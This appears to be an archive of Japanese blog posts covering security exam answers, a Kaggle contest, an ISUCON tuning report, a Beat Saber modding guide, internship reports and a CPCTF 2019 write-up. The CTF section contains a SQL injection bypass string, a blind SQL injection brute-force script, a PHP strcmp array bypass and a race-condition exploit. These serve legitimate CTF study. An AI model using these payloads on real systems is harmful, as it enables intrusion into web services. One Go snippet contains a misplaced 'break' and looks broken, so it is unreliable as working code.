令和5年春 情報処理安全確保支援士試験 午後1,2 自分の回答

令和5年の春のSCを受けたので回答を載せておく。

令和5年の秋から午後の試験が統合されるので注意

情報処理安全確保支援士試験及び情報処理技術者試験(高度試験の組込み分野)における出題構成等の変更について | 新着情報 | IPA 独立行政法人 情報処理推進機構

2023/6/29 追記

午後1: 78点
午後2: 82点

 

問題文はこちら

www.ipa.go.jp

 

午前は過去問道場、午後対策に↓の本で勉強した。

bookplus.nikkei.com

午後1 問1

問題のコードはJavaっぽいが明言されていないのでなるべく図のコードでされている表現をまねした。

設問1

(1)

13行目

(2)

in

(3)

c: " WHERE head.order_no = ? "

d: PreparedStatement stmt = conn.createPreparedStatement(sql);

図4のコードから stmt が PreparedStatement で宣言されているのは確実なのだが、肝心の生成が省略されているためエスパー回答。

setStringを使うためにはsqlの内容を知っていないといけない、executeQueryの引数がないので生成時にsqlを引数に渡しておいた。

文中の表現で回答するなら↓になると思うが、これで満点はもらえなさそう。

PreparedStatement stmt;
(省略) //PreparedStatementの作成

設問2

(1)

orderNo

(2)

static

(3)

レースコンディション

(4)

g: String orderNo

h: new

図1のコードでインスタンスの生成にnewが使われているため

i: getOrderInfoBean(orderNo)

(5)

得意先コード

午後1 問3

設問1

(1)

a: ア

b: イ

c: ウ

(2)

Lサービスに設定したIPアドレスからのアクセスだけが許可されるため(33文字)

 

送信元制限機能という文言を入れた方が良かった。

送信元制限機能に設定したIPアドレスからのアクセスだけが許可されるため など

設問2

(1)

d: ア

e: ウ

f: イ

(2)

イのCASB(Cloud Access Security Blocker)が正答

設問3

(1)

本社のプロキシサーバを経由せずインターネットに接続する(27文字)

 

営業所のWebブラウザからインターネットのアクセスが変更されているので↓のほうが良かったかもしれない。

Webブラウザからは本社のプロキシサーバを経由しない 等

(2)

送信元制限機能の許可するIPアドレスに営業所のグローバルIPアドレスを追加する(39文字)

(3)

(4)

h: 6

i: 2

(5)

あ: 4

い: 3

j: https://△△△-a.jp/

k: SaaS-a

l: 許可

m: 外部ストレージサービス

n: 任意

o: 禁止

午後2 問1

設問1

資産管理システムに登録されたWebサイトの担当者に聞く(27文字)

 

初めは、設定や仕様をから取得するみたいな回答にしていたが、問題文の後半では会社に聞きに行っていたため回答を変えた。

設問2

(1)

a: イ

b: ウ

(2)

(2-3)

(3)

アンケート入力1のURLの拡張機能設定画面を開き、拡張機能設定に、アンケート確認のURLを登録する(49文字)

 

4ページの(2-3)に記載の登録方法に画面名を入れて作成

(4)

検索結果が1件以上存在する値(14文字)

設問3

(1)

ウ、エ

(2)

A

同じ会員で5回連続で間違えるとアカウントがロックされるため(29文字)

C

ある会員が1つのキャンペーンに申し込めるのは1回だけのため(29文字)

 

どのパラメータが同じで何回送るとエラーになるのかという表現のほうが良かったかもしれない。
会員のリクエストパラメータ名が書かれていなかったのでよくわからない。

設問4

(1)

スクリプトからcookieを取得する操作(20文字)

 

JSの名称が問題文中に存在するので、JavaScriptから~の方が良いと思われる。

(2)

画面に表示されているログイン者のみが参照できる情報を攻撃者のサーバに送信する(38文字)

 

問題文で明示されている盗まれたら困る情報はメールアドレスぐらいだが、最大限の表現に変える。

盗む以外の攻撃だと、パスワードを変更させる、キャンペーンに勝手に申し込ませるなどができそう。

設問5

(1)

リクエストのパラメータgroup_codeを送信しない(27文字)

(2)

e: JSESSIONID

f: group_code

設問6

(1)

資産管理システムの登録申請にWebサイトのURLの一覧を含めるように変更する(38文字)

 

URLの一覧ではなく、診断に必要な情報の方が良かった。

(2)

B社への問い合わせ履歴をA社グループ横断で管理し、グループ会社間で問い合わせを参照可能にする(46文字)

 

問い合わせはグループ会社がそれぞれ直接行うため、共有しておかないと毎社で重複した内容が送られてしまうと思われる。

Kaggle Santa 2022 参加記

概要

2022年年末から2023年年始にかけて開催されていたKaggleのサンタコンに参加して72位になり銅メダルを取得しました。

最終提出の解法は 象限の分割+分割した領域ごとにTSPに帰着させて最適化 をしました。TSPの最適化には LKH を使用しました。

www.kaggle.com

参加記

サンタコンは毎年行われているコンテストで、機械学習系のコンペとは異なり競プロマラソンマッチ系の問題が出題されている。時間もあり、せっかくだったので出た。

Kaggleのアカウントは2022年の6月ごろから持っていたが、コンテストへの参加はしていなかった。アカウントを取った理由はリーダーボードを見るためだった気がする。

問題概要

問題のDescription、Evaluationにはあまり詳しいことが書かれておらず、ノートブックに問題概要・初期解法が書かれていた。

Getting Started with Santa 2022 | Kaggle

大体の詳細は以下

毎ターン取れる行動:
- 8つあるアームそれぞれで1マス動かすか動かさないが選べる
  - チェビシェフ距離が一定のマスで右回転左回転動かないの3通り

達成すべき条件:
- 257 * 257のすべてのマスをアームの先端が踏む
- 最後のターンにはアームが初期状態と同じでなければならない

評価値:
- 各ターンの移動のコストの総和の最小化
  - reconfiguration cost: √(1ターンに動かしたアームの数)
  - color cost: (前のマスの色と移動先のマスの色の差の絶対値) * 3

 

序盤解法

解決すべきこととして2点悩むところがあった。

1. アームの動きが厄介で、常に隣のマスに移動できるとは限らないし、あるマスに対して表現できるアームの状態数が大きい。

2. グリッドマップ上のハミルトン閉路の作り方が不明。

 

1については象限を分割すると、アームの縦移動担当、横移動担当で分けることができるため解決。

2は "2dgrid hamilton" などで検索して出てきた code forcesの記事を参考に最小全域木を求めて構築した。

Nontrivial Hamiltonian Cycle on 2D grid. - Codeforces

記事中ではランダムコストとしているところを変更していた。

繋がなかった場合のコスト (図中の C1, C2の隣接している2マスのコスト * 2)から、繋いだ場合のコスト (図中の青の点線のコスト * 2)を引いた値を辺のコストと置いた。

 

この解法で76931点が出て当時は10~20台に入れていたので本腰を入れることにした。

 

中盤解法

本腰を入れるといいつつ中盤はほとんどスコア改善ができていなかった。

グリッドのまま山登りの操作を考えていたが、ほぼ効果なし (全体で-100程度)だったのと、最小費用流で最適なパスを探していたがコーナーケースを解消できなかった。

考察供養

偶奇で頂点を分けて流量2のフローを流せば巡回路が取れるが、下のような例が取れると解消できない。

 

終盤解法

コンテスト終了1週間前にリーダーボードを見たらメダル圏外に落ちていたため、やる気を出した。

グリッドマップのまま経路の最適化を行うのではなく、全点間に十分大きいコストを設定することでTSPに帰着させた。

本来のコストを1000倍に、移動不可能なマスのコストを10000とした。

始点と終点には特殊な頂点を導入してコストを1で接続させた。

ついでに斜め移動も可能にしておき、LKHに解いてもらい回答をデコードして提出した。

象限ごとにLKH解法を導入していったときのスコア遷移

 

結局最終提出ではマス目のエンコードとデコードしかしてない、、

チームooooookayamaでISUCON12予選に参加した

チームooooookayamaでISUCON12予選に参加した

hackMD版

hackmd.io

 

チーム ooooookayama

  • ninja
  • nagatech
  • masutech

で参加して13861点の予選敗退でした。
ログやインフラ部分は他二人に任せて、主にアプリ部分のコード/SQLを書くところを担当しました。

最終提出の構成

  • isuports-1
  • isuports-2
    • 使ってない
  • isuports-3

大まかな改善箇所

billing系

  1. billingの計算で終了していないcompetitionの計算をしない
  2. billingのcompetitionの料金をキャッシュする
    • 終了した後に料金は変更しないため

GET /api/player/player/:player_id

/api/player/player/:player_idではtenantDBに対して3種類のクエリが発行されていました。

  1. 大会を取得
  2. 大会ごとに最終スコアを取得
  3. スコアごとに大会名を取得

少なくとも3は不要です。
プレイヤーの最終提出さえあれば問題ないため、あるプレイヤーの大会全てでの最終提出をサブクエリで取得して(mps)、提出と大会情報をJOINするようにしました。

SELECT c.title, ps.score FROM 
    (SELECT tenant_id, competition_id, player_id, MAX(row_num) row_num 
    FROM player_score
    WHERE tenant_id = ? AND player_id = ?
    GROUP BY tenant_id, competition_id, player_id) mps
JOIN player_score ps
    ON mps.player_id = ps.player_id AND
        mps.competition_id = ps.competition_id AND
        mps.tenant_id = ps.tenant_id AND
        mps.row_num = ps.row_num
JOIN competition c
    ON ps.competition_id = c.id

visit_historyスキーマ変更

adminDBに存在するvisit_historyテーブルはランキングを見にきたplayerの履歴が保管されているテーブルです。
billingの計算で使用されますが、created_atの最小値のみ使われるため、(`player_id`, `tenant_id`, `competition_id`)の組み合わせに対して複数のデータは不要となっています。
上記のカラムの(`player_id`, `tenant_id`, `competition_id`)を主キーとするテーブルを新規に作成し、INSERT IGNOREを用いることで挿入される行数を減らしました。

CREATE TABLE `visit_history2` (
      `player_id` VARCHAR(255) NOT NULL,
      `tenant_id` BIGINT UNSIGNED NOT NULL,
      `competition_id` VARCHAR(255) NOT NULL,
      `created_at` BIGINT NOT NULL,
      INDEX `tenant_id_idx` (`tenant_id`),
      PRIMARY KEY (`player_id`, `tenant_id`, `competition_id`)
) ENGINE=InnoDB DEFAULT CHARACTER SET=utf8mb4;

visit_historyは初期データの時点で1,400,000行ほど存在するため、initializeで処理を行わず、直接DBにクエリを投げて移行しました。
3~4分ぐらいかかりました。

INSERT INTO visit_history2 (player_id, tenant_id, competition_id, created_at)
    (SELECT v.player_id, v.tenant_id, v.competition_id, MIN(v.created_at)
     FROM visit_history v
     GROUP BY (v.player_id, v.tenant_id, v.competition_id))
# ログが残ってなかったので記憶から再現しています
# おそらく動く

DBサーバーの分離

MySQLを別のサーバーに分離しました
(1のサーバーでスキーマ変更していたため、アプリ/Nginx側を別サーバーに分離しています)

bulk insert POST /api/organizer/competition/:competition_id/score

データごとにINSERT文が発行されていたので一括で行うようにしました。

func competitionScoreHandler(c echo.Context) error {
//...
    
	params := make([]interface{}, 0, 500)
	query := "INSERT INTO player_score (id, tenant_id, player_id, competition_id, score, row_num, created_at, updated_at) VALUES "
	first := true
	// (?,?,?,?,?,?,?,?)

	for _, ps := range playerScoreRows {
		params = append(params, ps.ID, ps.TenantID, ps.PlayerID, ps.CompetitionID, ps.Score, ps.RowNum, ps.CreatedAt, ps.UpdatedAt)
		if first {
			first = false
			query += "(?,?,?,?,?,?,?,?)"
		} else {
			query += ",(?,?,?,?,?,?,?,?)"
		}
		if len(params) > 60000 {
			_, err := tenantDB.ExecContext(ctx, query, params...)
			if err != nil {
				return fmt.Errorf(
					"error Insert player_score: id=%s, tenant_id=%d, playerID=%s, competitionID=%s, score=%d, rowNum=%d, createdAt=%d, updatedAt=%d, %w",
					ps.ID, ps.TenantID, ps.PlayerID, ps.CompetitionID, ps.Score, ps.RowNum, ps.CreatedAt, ps.UpdatedAt, err,
				)
			}
			params = make([]interface{}, 0, len(playerScoreRows)*8)
			query = "INSERT INTO player_score (id, tenant_id, player_id, competition_id, score, row_num, created_at, updated_at) VALUES "
			first = true
		}
	}
	if len(params) > 0 {
		_, err := tenantDB.ExecContext(ctx, query, params...)
		if err != nil {
			return fmt.Errorf(
				"error Insert player_score: %w", err,
			)

		}
	}

スキーマ変更のときにプレースホルダの上限のエラーに遭遇したため、データ数が多くでも大丈夫なようにしていますが不要だと思います。

TooMany上限

ここまでの改善を入れた結果、大会の追加でエラーになりスコアが50%~100%で減点されるようなりました。
当日マニュアルで許容されている大会の追加 (POST /api/organizer/competitions/add) に上限を設けてTooManyを返すようにしました。
compLimit/initializeで初期化します。

func competitionsAddHandler(c echo.Context) error {
//...
	compMux.Lock()
	if compLimit > 15 {
		compMux.Unlock()
		c.Response().Header().Add("Retry-After", "60")
		return echo.NewHTTPError(http.StatusTooManyRequests)
	}
	compLimit += 1
	compMux.Unlock()    

sync/atomicatomic.AddUint32()で良かったと思われる。

file lockをやめる

tenantDBに対する操作でfile lockが取られており、Read同士でも待ちが発生していました。
goのsync.RWMutexを用いてfile lockを取らないようにしました。

var tenantMuxs sync.Map

func flockByTenantID(tenantID int64) (*sync.RWMutex, error) {
	if mux, ok := tenantMuxs.Load(tenantID); ok {
		return mux.(*sync.RWMutex), nil
	}
	mx := sync.RWMutex{}
	tenantMuxs.Store(tenantID, &mx)
	return &mx, nil
}

(利用側でLockRLockを使い分ける)

id_generatorをアプリ側で行う

nagatechにやってもらいました

func dispenseID(ctx context.Context) (string, error) {
	var id int64
	var lastErr error
	idGeneratorMux.Lock()
	{
		if idGeneratorID < idGeneratorFirstID {
			idGeneratorID = idGeneratorFirstID
		}
		break
		idGeneratorID += 1
		id = idGeneratorID
	}
	idGeneratorMux.Unlock()
	if id != 0 {
		return fmt.Sprintf("%x", id), nil
	}
    // ...

GET /api/player/competition/:competition_id/ranking

competitionの上位100件のスコアを1回で取るクエリを書きました。
サブクエリのmpsで最終提出を取得し、後からソートしてrankAfterのページングを効かせます。

SELECT ps.row_num, ps.player_id, p.display_name, ps.score
FROM (SELECT player_id pid, tenant_id tid, competition_id cid, MAX(row_num) mrn
      FROM player_score ps
      WHERE tenant_id = ?
        AND competition_id = ?
      GROUP BY player_id, tenant_id, competition_id) mps
         JOIN player_score ps ON mps.pid = ps.player_id AND
         mps.mrn = ps.row_num AND
         mps.cid = ps.competition_id AND
         mps.tid = ps.tenant_id
         JOIN player p on ps.player_id = p.id
ORDER BY ps.score DESC, ps.row_num ASC
LIMIT ?, 100

ログからrankAfterは未指定のものが大半であることが分かっていたため、0のときのみキャッシュするようにしました。
(CSV入稿でキャッシュを破棄する)

結果

file lock、id_generatorをアプリ側で行う付近で最高点の20000点を出していたものの、以降はスコアに対して有効な改善が入らず、10000点台を浮遊して13000点で終了しました。

今思いつく改善点としては以下がありそうです。

  • sqliteのplayer_scoreテーブルのインデックス
  • RWMutexではなくtransactionを使う
  • sqliteからMySQLへの移行
    • 3台構成

終了2時間前時点で有効打が尽きていたのでMySQL移行のような攻めた戦略をとっていた方が良かったかもしれません。

今回良かったところ

  • visit_historyのスキーマ変更のような破壊的変更が序盤で通せていた
    • 初期化処理がここ最近のISUCON予選と違っていたので気を使う必要があった
  • 事前準備でブランチ単位のデプロイができるようにしておいた

Beat Saberのカスタムセイバーの備忘録

イカバーとメロンバーを意識したカスタムセイバー

Beat Saberのカスタムセイバーを作成したのでその備忘録

使用環境

Unity 2019.3.15f1

Beat Saber v1.20.0

Blender 3.2.2

Saber Factory 2

参考サイト

Beat SaberのCustom Saberから3Dモデリング始めてみた|はるふぁ|note

カスタムセイバーを作ろうと思ったきっかけです。

Custom Sabers Guide | BSMG Wiki

手順がほぼ書いてあるページです。

カスタムセイバーのUnityProjectもこちらからダウンロード

custom platform の制作手順 はじめの一歩|トウモロコシ|pixivFANBOX

Beat Saber内で使えるシェーダーの説明があります。

 

🍉本編🍈

前々からカスタムセイバーやアバターには興味があったのですが、なかなか手を出せないでいました。ブランク期間で落ちた感覚を取り戻すこと早6か月……。

最近になってようやくスコア更新が出るようになったのでやる気が出てきたわけです。

0. 構想

今回作るカスタムセイバーのテーマとしてを以下の2つから連想して、

  • 左右で色が異なる棒状のもの
  • 夏っぽいもの

ぱっと思いついたスイカバー・メロンバーが形状も難しくなかったので採用しました。

次点はパピコ

lotte-land.jp

 

資料用にコンビニを何軒か回ってアイスコーナーを探したのですが、どこにも置いていない……。しょうがないので資料は画像検索で探すことにして、アイスの実を買って帰りました。

1. モデリング

真上から撮影されたスイカバーから形を取り、モデリングしていきます。

アイス部分

チョコレート(ICO球をつぶしたもの)

本家アイスの皮に当たる部分でシームを入れ、マテリアルも分離しておきました。

アイス1、アイス2、棒、チョコレートでマテリアルは4です。

 

2. マテリアル設定

ループありのStable Diffusionを使ってローポリの木材の表面テクスチャを出力してもらいました。

色相変更と減色処理を加えたらいい感じに

low-poly wood texture

アイスキャンディーの霜がついたような表面はprompt力が足りず断念。

光らせる想定なので単色でも気にならないはずです。

 

Blender上でマテリアルに仮置き

これをfbxでエクスポートします。

3. Unityで作業(配置)

リンク先のガイドのCustomSaberProjectをUnityで開き、元から設定されているセイバーのMeshを用意したfbxのモデルに変更します。

左右で同じ場所にあるのでLeftSaberMeshの位置を参考に変更したRightSaberMeshのTransformを調整します。

地道な作業

位置調整したセイバー

左右でモデルが同じだったのでTransformの値はそのままコピーで大丈夫でした。

 

3. Unityで作業(マテリアル)

使う分のMaterialをAssetsに作成します。

  • 右のアイス
  • 右のチョコレート
  • 左のアイス
  • 左のチョコレート
  • アイスの縁(左右共通)

おいしそうではない

アイス部分にはLit Glowを設定し、先端の色を変える部分にはCustom Colorsにチェックを入れておきます。

チョコレート、棒はLit Glowですが、Glowの値を0にしておきました。

 

Saber ExporterのWindowでエクスポート

適当にアイコンを設定

4. Beat Saberで使う

エクスポートで吐き出されたname.saberファイルをCustomSaberフォルダに移動させて終了です。

youtu.be

でっか

終わりに

思っていた以上に楽にカスタムセイバーが作れて満足です。

Stable Diffusionのループテスクチャの生成もやる気になった要因でしたが、こちらも環境構築からだいぶ楽でした。面倒な部分を実用的なレベルで代用できるので可能性を感じます。

次は放置しているフルスクラッチアバターを進めたい……!

PIXIV SPRING BOOT CAMPに参加した

PIXIV SPRING BOOT CAMPに参加した

2月の末頃から8日間ピクシブの春インターン「PIXIV SPRING BOOT CAMP2020」の広告コースに参加しました。

参加まで

卒論などのもろもろのことに終わりが見えてきた2月上旬ごろにGitHub選考でエントリーしました。
選考はESと面接で、面接では、

  • ホワイトボードコーディング
  • ESに関して質問

などをしました。
コーディングは難易度は高くないと思いますが、拡張性を持たせて書くようにすると良いと思います。

インターン

初日はインターン生、メンターの自己紹介を行い、そのまま開発に入りました。
自己紹介では記事やイベントなどで見たことあるような人もおり、すごい人たちと働けるんだなあと刺激になりました。
初日は既存コードにテストの作成を行いました。コードの量としては大きくなりませんでしたが、その関数が何をするのかを知る必要があります。メンターやチームの方に聞きながら既存コードの処理をしっかり理解して進めました。

開発

8日でやったことは新しく広告指標を計測するための機能実装です。早い段階で実装ができたため、LookerやDatadogを使用して実装した部分の実際の値を見て、動作の確認や実装の問題を発見しました。今まで触ったことのなかったkubernetesで、ダウンタイムのないアップデートや個人では到底体験できないような規模のトラフィックを捌くことができたり、分散環境特有の問題にも遭遇できたり、良い課題に取り組めたと思います。


開発以外にもエンジニアの勉強会や部活動に参加させてもらい、インターン生でも他の働いている方々と同じ環境で毎日充実していました。8日間ありがとうございました!

CPCTF 2019 writeup

CPCTF 2019 writeup

300↑の問題

CPCTFデジタル創作同好会traPの新歓CTFですが新入生以外も参加することができました
今回は作問等に参加していなかったので参加しました


Misk [300] Undo

サーバーにアクセスするとFLAGが書かれているであろうファイルflag.txtが存在するが、中身は空である
隠しファイルに.undo/%home%undo%flag.txtというファイルがあるので開く
上のほうにFLAG_..{..}が書いてあるのでそれを提出


PPC [300] Long Seat

N人の客が

  • 空いていれば両端
  • 空いている区間のちょうど中央
    • 手すりがあるとずれる

に順に座る
手すりを自由に配置することができる
求めるのは手すりの最小数

関数f(n)区間nのときに必要な手すりの最小数とすると
f(n)

  • n <= 1
    • f(n) = 0
  • nが奇数
    • f(n) = f(n/2) * 2
      • 中央に座ってくれるのでこの区間で増加することはない
  • nが偶数
    • f(n) = 1 + f(n/2) + f(n/2 - 1)
      • 手すりを置かなければならないので1加算される

となる
何度か呼ばれるかもしれないのでメモ化した


Web [400] C5

ソースコードを読むと、難読化されているjsがいることがわかる
また、ボタンを押してもポストしていない
js うー にゃーで調べると(」・ω・)」うー!(/・ω・)/にゃー!encodeが出てくる
いろいろやったが、結局のところボタンのイベントハンドラを見ると素のjsが書いてあるのでFLAGが見えるのでそれを提出


Web [300] S1

ソースコードを読むと、リクエストと不明な文字列を比較してることがわかる
strcmpに配列が投げられるとNULLになるらしい(php strcmp ctfで調べた)
pass[]='a', pass[]='b'など適当なPOSTを投げるとFLAGがわかるのでそれを提出(Postmanを使った)


Web [300] S2

ソースコードを読むと、鯖側ではsqliteを使い、パスワードを保管していることがわかる
SQL文が生で書かれているため、SQLインジェクションが可能である
' OR '' ='という文字列を投げるとFLAGが返ってくるのでそれを提出


Web [400] S4

これもS2と同じくSQLインジェクションが可能だが、条件が真のときに返ってくる文字列は自分が提出したものである
ただ、条件が真であるかは判定することができるので、sqlitesubstrを使い、1文字ずつ判定を行えば良い
likeでも同様なことができそうだが、大文字小文字の区別がつかないらしい(結局フラグは小文字のみだったが)
nodeで書いた↓

const axios = require('axios')

function isok (txt) {
  return /Nice/.test(txt)
}

let moji = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_{}"

let ok = async (txt) => {
  let params = new URLSearchParams();
  params.append('pass', txt);
  axios.post("http://<problem URL>", params).then(res => {
    if (isok(res.data)) {
      console.log(txt)
    }
  })
}
let build = (i, a) => `' OR substr(Flag, ${i}, 1) = '${a}`

// 上限があるのでjの数値は適度にずらす
for (let j = 0; j < 5; j++) {
  for (let i = 0; i < moji.length; i++) {
    ok(build(j, moji[i]))
  }
}

Web [400] Stateful

お弁当を買ったり、返品したりできるサイトの問題
返品すると買った金額が返ってくるので、初期金額1000円が増減しない
ソースコードを読むと、鯖側のデータベースで状態の管理を行なっていて、114514円の弁当を購入するとFLAGが返ってくることがわかる
他人の商品を返品しようとしても、拒否されるのでどうにか所持金額を増やす必要がある
SQL文を見ると所持金の計算はアプリケーション側で行なっているが、トランザクションを発行していないことがわかる
購入処理を詰まらせれば所持金が増えるので、devtoolでPromise.all([buy(100), buy(100), .., buy(100)])を繰り返し実行して所持金を114514円に増やしFLAGを得た


感想

前半はWeb問題を解いて、後半は解けそうな問題を解いていった
PPCが思っていたよりも難しく飛ばしてしまったが、他の問題で悩むよりはPPCを解いた方が点数が取れていたかもしれない(終盤解けたのが100/200ばかり)
webの400がそこそこ解けたのでよかった

運営/参加者のみなさんお疲れ様でした!!

Recruit Internship for Specialist 2019に参加した

Recruit Internship for Specialist 2019 - ENGINEER / DATA ENGINEERの第5タームに参加して1ヶ月間リクルートテクノロジーズでインターンをしてきました。


参加まで

何回かCode Thanks Festivalに参加したこともあり、気になっていたのでインターンに応募しました。
夏の募集でも選考を受けていたのですが残念ながらそのときは落ちてしまっていたので、受けたのは2回目です。
書類提出、webテストを受けて面談を2, 3回行いました。

したこと

go1.12で動かなくなっていたOSSのの不具合調査をして、最終的にgo-openapi/swagに修正のプルリクを出したり、社内のプロジェクト用の静的解析ツールをいくつか開発したりしました。

最終週は関数のerrorのデータフロー解析をするツール、tracerrの開発をしていました。このツールはインターンが終わった今もgithub上で開発を続けており、匿名関数の解決はできるようになりました。

サーバーサイドでの参加でしたが、社内のクライアントの勉強会に参加させてもらったりと自由に色々させてもらっていたと思います。

知見

  • ソースコードまで見にいく精神
    • わからないときはソースコードを見た方が良いというのは大きな学びでした。
    • SourceGraphを使うとgithub上で定義に移動ができるようになって捗ります。
  • Goは書きやすい
    • テストが書きやすい
    • 静的解析ツールが揃っている

環境

  • インターンランチ
    • 毎日おいしいご飯が食べられた。
  • 勤務時間
    • 11時~19時程度
      • 11時出社だったので毎日電車に座れた。

余談

インターン期間中に1年ぐらい開発していたサークルのSNSアプリのリリースがありました。

東工大に在籍している方はぜひデジタル創作同好会traPに入ってアプリを使ってみてください。